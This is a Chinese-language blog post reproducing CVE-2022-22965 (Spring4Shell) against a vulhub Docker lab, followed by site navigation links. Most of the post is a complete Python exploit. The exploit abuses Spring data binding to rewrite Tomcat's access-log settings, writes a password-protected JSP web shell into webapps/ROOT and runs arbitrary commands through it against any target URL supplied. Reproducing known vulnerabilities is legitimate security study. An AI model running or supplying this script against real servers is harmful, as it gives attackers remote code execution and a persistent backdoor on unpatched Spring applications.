当前位置:网站首页>CVE-2022-22965複現
CVE-2022-22965複現
2022-06-22 14:01:00 【lionwerson】
CVE-2022-22965複現
簡介:
在jdk 9+上運行的Spring MVC或Spring WebFlux application可能會導致RCE
複現環境:
docker run -d -p 8080:8080 vulhub/spring-webmvc:5.3.17
服務啟動後,訪問http://your-ip:8080/?name=xxx&age=xxx
即可看到一個演示頁面。

poc:
使用方法:-t 輸入目標地址,-c輸入執行命令,默認為id
import argparse
import requests
headers = {
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded',
'Connection': 'close',
'Accept': '*/*',
'Accept-Language': 'en',
'suffix': '%>//',
'c1': 'Runtime',
'c2': '<%',
'DNT': '1',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',
}
headers_res = {
'Accept-Encoding': 'gzip, deflate',
'Connection': 'close',
'Accept': '*/*',
'Accept-Language': 'en',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',
}
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument('-t',"--target",help='input target',required=True,type=str)
parser.add_argument('-c',"--command",help='input poc command',type=str,default='id')
args = parser.parse_args()
url = args.target + "/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
cmd_url = args.target + "/tomcatwar.jsp?pwd=j&cmd=" + args.command
refresh_url = args.target + "/?class.module.classLoader.resources.context.parent.pipeline.first.pattern="
res = requests.get(url=url, headers=headers)
try:
if res.status_code == 200:
res_cmd = requests.get(url=cmd_url, headers=headers)
print(res_cmd.text.replace("\x00",""))
ref_cmd = requests.get(url=refresh_url,headers=headers_res)
else:
print('Vulnerability does not exist')
except Exception as e:
print(e)
边栏推荐
- leetcode 829. Sum of continuous integers
- “不敢去怀疑代码,又不得不怀疑代码”记一次网络请求超时分析
- 如何保护WordPress网站免受网络攻击?采取安全措施至关重要
- Triggers in MySQL
- Locks in MySQL
- Offline physical stores combined with VR panorama make virtual shopping more realistic
- leetcode 32. Longest valid bracket
- Linux setting enables Oracle10g to start automatically
- Tables converting to latex format
- Leetcode dichotomy
猜你喜欢

Instanceinforeplicator class of Eureka (service registration auxiliary class)

leetcode-二分法

leetcode-数学题

Technology practice | scene oriented audio and video call experience Optimization

leetcode 11. Container with the most water

After several years of writing at CSDN, I published "the first book". Thank you!

"N'osez pas douter du Code, vous devez douter du Code" notez une analyse de délai de demande réseau

"N'osez pas douter du Code, vous devez douter du Code" notez une analyse de délai de demande réseau

JSP based library management system, including source code, database script, video tutorial for project operation, and video tutorial for thesis writing

机器人方向的刚性需求→个人思考←
随机推荐
What you must understand before you are 30
测试组的任务职责和测试的基本概念
"N'osez pas douter du Code, vous devez douter du Code" notez une analyse de délai de demande réseau
性能相关指标
leetcode-背包问题
Microservice test efficiency governance
leetcode 1130. Minimum cost spanning tree of leaf value
Locks in MySQL
Stop using system Currenttimemillis() takes too long to count. It's too low. Stopwatch is easy to use!
SQL row column conversion
Problème de sous - séquence / substrat leetcode
SQL Server 常用函数
HMS core news industry solution: let technology add humanistic temperature
程序员要不要选择软件人才外包公司?
Consolidation of common functions of numpy Library
Performance related indicators
Simple integration of client go gin IX create
Leetcode daily question 202110
简简单单的科研秘籍
Double hands of daily practice of Li Kou 2day9